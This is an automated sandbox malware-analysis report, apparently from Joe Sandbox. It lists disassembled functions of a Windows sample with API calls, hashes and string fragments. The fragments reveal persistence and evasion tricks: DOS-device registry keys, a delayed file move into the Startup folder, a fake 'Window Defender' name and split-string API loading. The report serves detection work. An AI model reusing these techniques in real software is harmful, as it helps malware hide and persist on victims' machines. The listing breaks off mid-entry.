Opcode ID: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction ID: 0de2cb734d9ce7287ea3e9f4f1dd9a78d3aa8c69c7a04fca7176c7fe9d39c662
Opcode Fuzzy Hash: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction Fuzzy Hash: 7921D521AB0AF607CB448BFCECC451367D18BCA1163ADC3A7DA74C9151D1BDD272C660

Function 1000767C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction ID: af8dc597f677515c84aaa7c1ca680f8a378724b7035fa932a96d9af2bafa269f
Opcode Fuzzy Hash: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction Fuzzy Hash: 8A21D821A74AF607D7448BFCECC051327D1DB8915636DC367DA64C9051D0BED672C550

Function 10001144 Relevance: 58.1, APIs: 21, Strings: 12, Instructions: 338registryCOMMON

Download Yara Rule

APIs

_wprintf.LIBCMT ref: 10001192
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,1001A5D4,0000000A), ref: 100011B0
RegCloseKey.ADVAPI32(?), ref: 100011C0
_memset.LIBCMT ref: 100012B7
RegCloseKey.ADVAPI32(?), ref: 100012EE
SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 100012FF
_memset.LIBCMT ref: 10001318
_sprintf.LIBCMT ref: 100013C3
_memset.LIBCMT ref: 10001471
RegCreateKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 10001496
_sprintf.LIBCMT ref: 100014B7
RegSetValueExA.ADVAPI32(?,1001A62C,00000000,00000001,?,?), ref: 100014E8
_sprintf.LIBCMT ref: 10001509
DefineDosDeviceA.KERNEL32(00000001,1001A62C,?), ref: 1000151B
_memset.LIBCMT ref: 1000154C
_sprintf.LIBCMT ref: 10001566
_memset.LIBCMT ref: 100015A7
_memset.LIBCMT ref: 100015BE
_memset.LIBCMT ref: 10001619
_memset.LIBCMT ref: 1000162D
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 1000165A

Strings

rosoft\Wind, xrefs: 10001347
SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices, xrefs: 1000148A, 10001490
[:\1.qwq1, xrefs: 100015C8
.qwq, xrefs: 10001606
QWQ\ShellEx\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}, xrefs: 100012D0, 100012D6
art Me, xrefs: 10001376
%s\1.qwq1, xrefs: 10001558, 1000155E
grams, xrefs: 100013AD
nu\Pro, xrefs: 1000138E
1, xrefs: 10001610
ows\St, xrefs: 1000135E
%s\Mic, xrefs: 1000132F

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$_sprintf$CloseValue$CreateDefineDeviceFileFolderMovePathSpecial_wprintf
String ID: %s\1.qwq1$%s\Mic$.qwq$1$QWQ\ShellEx\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}$SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices$[:\1.qwq1$art Me$grams$nu\Pro$ows\St$rosoft\Wind
API String ID: 1177859221-1427731300
Opcode ID: 0b30ea9c887d113786127fb0fe131acf0ce7c388d6d05fd3aa7cff60e868827e
Instruction ID: a6eba57ee7157bfdc474ef77063ead9024457ec1a50b4f639e4453205c2468a6
Opcode Fuzzy Hash: 0b30ea9c887d113786127fb0fe131acf0ce7c388d6d05fd3aa7cff60e868827e
Instruction Fuzzy Hash: 12D179B180126DAEEB21DF548D84FEAB7BDEB05380F0045E5E649AB105DA709FC58FA0

Function 100031C7 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 224libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100031EE
_strrchr.LIBCMT ref: 100031FD
_strncpy.LIBCMT ref: 100032A6
_memset.LIBCMT ref: 100032D2
_memset.LIBCMT ref: 10003344
_sprintf.LIBCMT ref: 1000335E

Part of subcall function 10002F16: LoadLibraryA.KERNEL32(?,?), ref: 10002F6E
Part of subcall function 10002F16: GetProcAddress.KERNEL32(00000000), ref: 10002F75

_memset.LIBCMT ref: 10003425
_sprintf.LIBCMT ref: 10003438

Part of subcall function 1000AD50: __output_l.LIBCMT ref: 1000ADAB

_memset.LIBCMT ref: 1000349D
LoadLibraryA.KERNEL32(?,?,00000000,000000F3,?,?,?,?,?,00000000,000000D8,?,?,?,?,?), ref: 100034AC
_memset.LIBCMT ref: 100034EC
GetProcAddress.KERNEL32(?,?), ref: 10003501
_memset.LIBCMT ref: 1000352A
FreeLibrary.KERNEL32(?,?,?,?,?,00000000,000000F1,?,?,?,?,?,00000000,000000D8), ref: 10003555

Strings

Shel, xrefs: 1000347F
A, xrefs: 100034E3
Shel, xrefs: 100034C5
dll, xrefs: 10003493
cute, xrefs: 100034D9
d, xrefs: 1000325C
%s\tg\shell\open\command, xrefs: 10003350, 10003356
-- tg://setlanguage?lang=classic-zh-cn, xrefs: 1000342A, 10003430
_Classes, xrefs: 100032D7, 100032DD
Open, xrefs: 1000351A
lExe, xrefs: 100034CF
l32., xrefs: 10003489

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$Library$AddressLoadProc_sprintf$FileFreeModuleName__output_l_strncpy_strrchr
String ID: %s\tg\shell\open\command$-- tg://setlanguage?lang=classic-zh-cn$A$Open$Shel$Shel$_Classes$cute$d$dll$l32.$lExe
API String ID: 1778617766-3396513812
Opcode ID: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction ID: a1104d94dd440214b8363c757a0762cb0449f268d632bcc907b58f935efa182f
Opcode Fuzzy Hash: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction Fuzzy Hash: C79170B5C0426D9AEB22DF54CC81BEEB7BCEB04780F4081E5E608A6155D775AFC98F60

Function 036431CB Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 224libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 036431F2
_strncpy.LIBCMT ref: 036432AA
_memset.LIBCMT ref: 036432D6
_memset.LIBCMT ref: 03643348
_sprintf.LIBCMT ref: 03643362

Part of subcall function 03642F1A: LoadLibraryA.KERNEL32(?,?), ref: 03642F72
Part of subcall function 03642F1A: GetProcAddress.KERNEL32(00000000), ref: 03642F79

_memset.LIBCMT ref: 03643429
_sprintf.LIBCMT ref: 0364343C

Part of subcall function 0364AD54: __output_l.LIBCMT ref: 0364ADAF

_memset.LIBCMT ref: 036434A1
LoadLibraryA.KERNEL32(?,?,00000000,000000F3,?,?,?,?,?,00000000,000000D8,?,?,?,?,?), ref: 036434B0
_memset.LIBCMT ref: 036434F0
GetProcAddress.KERNEL32(?,?), ref: 03643505
_memset.LIBCMT ref: 0364352E
FreeLibrary.KERNEL32(?,?,?,?,?,00000000,000000F1,?,?,?,?,?,00000000,000000D8), ref: 03643559

Strings

A, xrefs: 036434E7
l32., xrefs: 0364348D
cute, xrefs: 036434DD
dll, xrefs: 03643497
d, xrefs: 03643260
_Classes, xrefs: 036432DB, 036432E1
lExe, xrefs: 036434D3
-- tg://setlanguage?lang=classic-zh-cn, xrefs: 0364342E, 03643434
Shel, xrefs: 036434C9
Shel, xrefs: 03643483
%s\tg\shell\open\command, xrefs: 03643354, 0364335A
Open, xrefs: 0364351E

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$Library$AddressLoadProc_sprintf$FileFreeModuleName__output_l_strncpy
String ID: %s\tg\shell\open\command$-- tg://setlanguage?lang=classic-zh-cn$A$Open$Shel$Shel$_Classes$cute$d$dll$l32.$lExe
API String ID: 41527467-3396513812
Opcode ID: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction ID: 40ab0d075377ac2c1f558fb12dfc00fd8ee71b8e0f6e078244b6347b99660087
Opcode Fuzzy Hash: de30c5cdb71a66d09e6c21ac387def07262357a523ce7049645e96b0468760d0
Instruction Fuzzy Hash: DB919DB5C0426DAADB21DF54CD80BEEBBBDAB05700F1481E9D64CA7241D7349BC98F64

Function 00425480 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 313windowCOMMON

Download Yara Rule

APIs

GdipGetImagePixelFormat.GDIPLUS(?,?,00000000,00000000,0073BF7C), ref: 004254AC
GdipGetImageHeight.GDIPLUS(?,?), ref: 0042552D
GdipGetImageWidth.GDIPLUS(?,?), ref: 00425555
GdipGetImagePaletteSize.GDIPLUS(?,?,00000000,?,?,00000000,00000000,?), ref: 004255B6
_malloc.LIBCMT ref: 004255F7

Part of subcall function 0063A2D7: __FF_MSGBANNER.LIBCMT ref: 0063A2F0
Part of subcall function 0063A2D7: __NMSG_WRITE.LIBCMT ref: 0063A2F7
Part of subcall function 0063A2D7: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00646709,00000000,00000001,00000000,?,00649909,00000018,0071ACE0,0000000C,00649999), ref: 0063A31C

_free.LIBCMT ref: 0042563F

Strings

&, xrefs: 00425512

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: GdipImage$AllocateFormatHeapHeightPalettePixelSizeWidth_free_malloc
String ID: &
API String ID: 4101255611-3042966939
Opcode ID: dc5093ca38ae2d5387a9d4564f6f30686d87e2b50f3620c683253e88f8e2b187
Instruction ID: da598ec3ef59f7b05732924bef539a40e6e40d994cf5092463715e4a608f0960
Opcode Fuzzy Hash: dc5093ca38ae2d5387a9d4564f6f30686d87e2b50f3620c683253e88f8e2b187
Instruction Fuzzy Hash: 59D173B1A006299FDB20DF54DC80BAAB7B5FF48304F8085ADE60997241D774AEC5CF99

Function 036414BA Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 124registryCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 036414BB
RegSetValueExA.ADVAPI32(?,1001A62C,?,00000001,?,?), ref: 036414EC
_sprintf.LIBCMT ref: 0364150D
DefineDosDeviceA.KERNEL32(00000001,1001A62C,?), ref: 0364151F
_memset.LIBCMT ref: 03641550
_sprintf.LIBCMT ref: 0364156A
_memset.LIBCMT ref: 036415AB
_memset.LIBCMT ref: 036415C2
_memset.LIBCMT ref: 0364161D
_memset.LIBCMT ref: 03641631
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0364165E

Strings

1, xrefs: 03641614
up\1, xrefs: 03641600
tart, xrefs: 036415F6
[:\S, xrefs: 036415EC
%s\1.qwq1, xrefs: 0364155C, 03641562
.qwq, xrefs: 0364160A

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$_sprintf$DefineDeviceFileMoveValue
String ID: %s\1.qwq1$.qwq$1$[:\S$tart$up\1
API String ID: 3652080668-2429600194
Opcode ID: c779772ebf056492f089e2d5d69f42e55331b74a04850cbd1dbf54744bd0d102
Instruction ID: b2380dd1c437b5f8a3eea6d21b2fd3a4f3bea511eeef2494297a30c5d12eddd6
Opcode Fuzzy Hash: c779772ebf056492f089e2d5d69f42e55331b74a04850cbd1dbf54744bd0d102
Instruction Fuzzy Hash: 214161B5D4122DAFDB21DBA4DC48FEA77BDAF09200F0485E5D64DE7201DA348B888F55

Function 0053E3E7 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0053B5F7: GetWindowLongW.USER32(?,000000F0), ref: 0053B602

GetParent.USER32(?), ref: 0053E421
SendMessageW.USER32(00000000,0000036B,00000000,00000000), ref: 0053E442
GetWindowRect.USER32(?,?), ref: 0053E461
GetWindowLongW.USER32(00000000,000000F0), ref: 0053E493
MonitorFromWindow.USER32(00000000,00000001), ref: 0053E4C7
GetMonitorInfoW.USER32(00000000), ref: 0053E4CE
CopyRect.USER32(?,?), ref: 0053E4E2
CopyRect.USER32(?,?), ref: 0053E4EC
GetWindowRect.USER32(00000000,?), ref: 0053E4F5
MonitorFromWindow.USER32(00000000,00000002), ref: 0053E502
GetMonitorInfoW.USER32(00000000), ref: 0053E509
CopyRect.USER32(?,?), ref: 0053E517

Strings

(, xrefs: 0053E4A9

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Window$Rect$Monitor$Copy$FromInfoLong$MessageParentSend
String ID: (
API String ID: 783970248-3887548279
Opcode ID: 276ea092bf93a70f3c38623cfd06847fa14e4bab135780feb1e05cc8ec6b7688
Instruction ID: dd166eb13ffc59d9dcdc0091d5b1a3894dccb50b4e947ab55323b646ce479f65
Opcode Fuzzy Hash: 276ea092bf93a70f3c38623cfd06847fa14e4bab135780feb1e05cc8ec6b7688
Instruction Fuzzy Hash: 37611E71900229AFCF10DFA8DD89AEEBBB9FF48714F155216E515F7290DB70A900CBA0

Function 03642FE1 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 131registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0364308E
_strncpy.LIBCMT ref: 03643128
RegCloseKey.ADVAPI32(?), ref: 036431B4

Strings

lose, xrefs: 0364319B
RegC, xrefs: 03643194
ADVAPI32.dll, xrefs: 0364309A, 0364309D
penK, xrefs: 03643038
RegO, xrefs: 03643031
A, xrefs: 03643046
RegE, xrefs: 036430AE
numK, xrefs: 036430B5
A, xrefs: 036430C3
eyEx, xrefs: 0364303F
Key, xrefs: 036431A2
eyEx, xrefs: 036430BC

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: Close_memset_strncpy
String ID: A$A$ADVAPI32.dll$Key$RegC$RegE$RegO$eyEx$eyEx$lose$numK$penK
API String ID: 398226110-1513123901
Opcode ID: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction ID: c30f4dc3bad79d9701a9ac7cf73166623d042e9d2b59a8c1656fc9434beae7d0
Opcode Fuzzy Hash: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction Fuzzy Hash: 3651D5B5D0122CAFDB61DF95CD84AEEBBB8FB48304F1000A9E509A7210D7749A94CF61

Function 10002FDD Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 131registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1000308A
_strncpy.LIBCMT ref: 10003124
RegCloseKey.ADVAPI32(?), ref: 100031B0

Strings

lose, xrefs: 10003197
RegE, xrefs: 100030AA
A, xrefs: 100030BF
Key, xrefs: 1000319E
RegO, xrefs: 1000302D
eyEx, xrefs: 100030B8
eyEx, xrefs: 1000303B
numK, xrefs: 100030B1
RegC, xrefs: 10003190
penK, xrefs: 10003034
ADVAPI32.dll, xrefs: 10003096, 10003099
A, xrefs: 10003042

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: Close_memset_strncpy
String ID: A$A$ADVAPI32.dll$Key$RegC$RegE$RegO$eyEx$eyEx$lose$numK$penK
API String ID: 398226110-1513123901
Opcode ID: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction ID: 6570460de5860f22f59f610b6db523a60cae84646223255b99467aaef9325b81
Opcode Fuzzy Hash: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction Fuzzy Hash: EE51C6B590122CAFDB61DF95CC85AEEBBB8FF48344F1040A9E509A7211D7749E84CF61

Function 036492C1 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252filetimeCOMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 036493B8
_memset.LIBCMT ref: 036493EC
_memset.LIBCMT ref: 03649410
_strcat_s.LIBCMT ref: 0364942B
_sprintf.LIBCMT ref: 036494AC
_sprintf.LIBCMT ref: 036494D4
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 0364950A
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 03649593
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000010,?,00000001), ref: 036495DF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000010,?,00000001), ref: 036495EB

Strings

%s%s, xrefs: 036494A6
text.e, xrefs: 036493CF
:, xrefs: 0364948B
\, xrefs: 03649475

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: File$_memset_sprintf$CloseCreateHandleTimeWrite__fassign_strcat_s
String ID: %s%s$:$\$text.e
API String ID: 3001508280-2720340845
Opcode ID: 01a61206051ec77cbdfa5d34e4a78fc33b4c029da38912455276437bd67be555
Instruction ID: ea5e973f85143002a4e37ef911a74d8833b0037d52c7bf17d38e3c4124086d36
Opcode Fuzzy Hash: 01a61206051ec77cbdfa5d34e4a78fc33b4c029da38912455276437bd67be555
Instruction Fuzzy Hash: 9891D171D40628AFDB36DB54DC84BDBBBB8AB09314F1401E9E618A7280D7719AC9CF94

Function 0364238C Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 398COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 03642396
VariantInit.OLEAUT32(?), ref: 036423D8
VariantInit.OLEAUT32(?), ref: 036423F8
VariantInit.OLEAUT32(?), ref: 03642415
VariantInit.OLEAUT32(?), ref: 03642432

Part of subcall function 036416CE: __EH_prolog3.LIBCMT ref: 036416D5
Part of subcall function 036416CE: SysAllocString.OLEAUT32(?), ref: 036416FD

_memset.LIBCMT ref: 036426A2
_memset.LIBCMT ref: 036426D5
_mbstowcs.LIBCMT ref: 036426ED
VariantInit.OLEAUT32(?), ref: 036427B2
VariantInit.OLEAUT32(?), ref: 036427CF

Part of subcall function 0364172E: InterlockedDecrement.KERNEL32(?), ref: 03641739
Part of subcall function 0364172E: SysFreeString.OLEAUT32(00000000), ref: 0364174E

Strings

Window Defender UqdataMicrosoft Corporation, xrefs: 036427E8, 036427EC
atio, xrefs: 03642546
n, xrefs: 0364254D

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: InitVariant$String_memset$AllocDecrementFreeH_prolog3H_prolog3_Interlocked_mbstowcs
String ID: Window Defender UqdataMicrosoft Corporation$atio$n
API String ID: 2704202341-2587304410
Opcode ID: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction ID: 88228683c9b07ccc8ace5b5b2cf9d2ccb594d6760133c0e234cfdeccca55fa72
Opcode Fuzzy Hash: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction Fuzzy Hash: 7FF12971900629AFDB22DF64CD84A9EB7BDEF45304F1084D9E909AB250C771AF8ACF50

Function 10002388 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 398COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10002392
VariantInit.OLEAUT32(?), ref: 100023D4
VariantInit.OLEAUT32(?), ref: 100023F4
VariantInit.OLEAUT32(?), ref: 10002411
VariantInit.OLEAUT32(?), ref: 1000242E

Part of subcall function 100016CA: __EH_prolog3.LIBCMT ref: 100016D1
Part of subcall function 100016CA: SysAllocString.OLEAUT32(?), ref: 100016F9

_memset.LIBCMT ref: 1000269E
_memset.LIBCMT ref: 100026D1
_mbstowcs.LIBCMT ref: 100026E9
VariantInit.OLEAUT32(?), ref: 100027AE
VariantInit.OLEAUT32(?), ref: 100027CB

Part of subcall function 1000172A: InterlockedDecrement.KERNEL32(?), ref: 10001735
Part of subcall function 1000172A: SysFreeString.OLEAUT32(00000000), ref: 1000174A

Strings

atio, xrefs: 10002542
Window Defender UqdataMicrosoft Corporation, xrefs: 100027E4, 100027E8
n, xrefs: 10002549

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: InitVariant$String_memset$AllocDecrementFreeH_prolog3H_prolog3_Interlocked_mbstowcs
String ID: Window Defender UqdataMicrosoft Corporation$atio$n
API String ID: 2704202341-2587304410
Opcode ID: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction ID: c4f995021f6d453e0b67c1534942b25dbd89ffe59a045e9db0a1cde3e0b7ba2d
Opcode Fuzzy Hash: 85bb1b6dba8845eb6832dcc241e22674bc42bc2413ebe57639f70d2a06e4931d
Instruction Fuzzy Hash: 0AF10872900629AFDB12DF64CC84A9EB7BDEF45304F0085D5E909AB254D771AF8ACF90

Function 03642D10 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111filesleepCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 03642D4F
_memset.LIBCMT ref: 03642D78
Sleep.KERNEL32(00000001), ref: 03642D98
_malloc.LIBCMT ref: 03642DD2
_memset.LIBCMT ref: 03642DFF
WriteFile.KERNEL32(?,00000000,1F400000,?,00000000), ref: 03642E17
_free.LIBCMT ref: 03642E1E
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 03642E46
FlushFileBuffers.KERNEL32(?), ref: 03642E52
CloseHandle.KERNEL32(?), ref: 03642E5E

Strings

cef.dll, xrefs: 03642DAD
lib, xrefs: 03642D90

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: File$Write_memset$BuffersCloseCreateFlushHandleSleep_free_malloc
String ID: cef.dll$lib
API String ID: 1923221151-1944707463
Opcode ID: 3b7f21238bacadc657d5a8a56433dd2a6ff2117a5362b6b3c84e5166f2e26b1f
Instruction ID: 97e2ff760761ea12a5318e336354433350f2d2d687773154eebd63b671c65664
Opcode Fuzzy Hash: 3b7f21238bacadc657d5a8a56433dd2a6ff2117a5362b6b3c84e5166f2e26b1f
Instruction Fuzzy Hash: 8931A271D0022CAFDB25DF648C84BEAB779EB19700F0045D5F688A7250D6B19FC58F60

Function 00417770 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 196COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004177F0
_free.LIBCMT ref: 00417847
_free.LIBCMT ref: 004178B1

Strings

msg, xrefs: 004178EA, 00417922
qrcode, xrefs: 00417969, 0041798B
response Error!, xrefs: 0041782D
qrcode Error!, xrefs: 00417981
code, xrefs: 00417879, 004178CC
response, xrefs: 00417814, 00417862
Rsp Parse Error!, xrefs: 004177D4
code Error!, xrefs: 00417897, 00417902

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free
String ID: Rsp Parse Error!$code$code Error!$msg$qrcode$qrcode Error!$response$response Error!
API String ID: 269201875-2838377452
Opcode ID: 599f3664890dfd251fabf13ef7453cbb470f910d76f5606c6711dc7cc21d23be
Instruction ID: f80102e89131b556915b3c174a44694c652c3bbf314bd721eea245ddd39d9479
Opcode Fuzzy Hash: 599f3664890dfd251fabf13ef7453cbb470f910d76f5606c6711dc7cc21d23be
Instruction Fuzzy Hash: EA7101B1D043088BCB10EFA0C881ADEB7B5EF44714F15456EE9157B382DB38AD85CB99

Function 036428BD Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0364290C
_memset.LIBCMT ref: 0364291E
_memset.LIBCMT ref: 0364292D
_memset.LIBCMT ref: 03642B1E
_memset.LIBCMT ref: 03642C3B
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000001,00000000), ref: 03642CA4
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 03642CC7
FlushFileBuffers.KERNEL32(00000000), ref: 03642CCE
CloseHandle.KERNEL32(00000000), ref: 03642CD5

Strings

<, xrefs: 036429B4

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$File$BuffersCloseCreateFlushHandleWrite
String ID: <
API String ID: 2144675991-4251816714
Opcode ID: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction ID: 9b7bd507181a5680bd10634883d92edfe958857a9e25a4d5b64f234a4cca416f
Opcode Fuzzy Hash: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction Fuzzy Hash: 51C1F076C00228AEDB21DF64CC849EABBFDEB09754F14C5EAF509A6150DB318F858F54

Function 004179E0 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 212COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00417A81
_free.LIBCMT ref: 00417AE0
_free.LIBCMT ref: 00417CAF

Strings

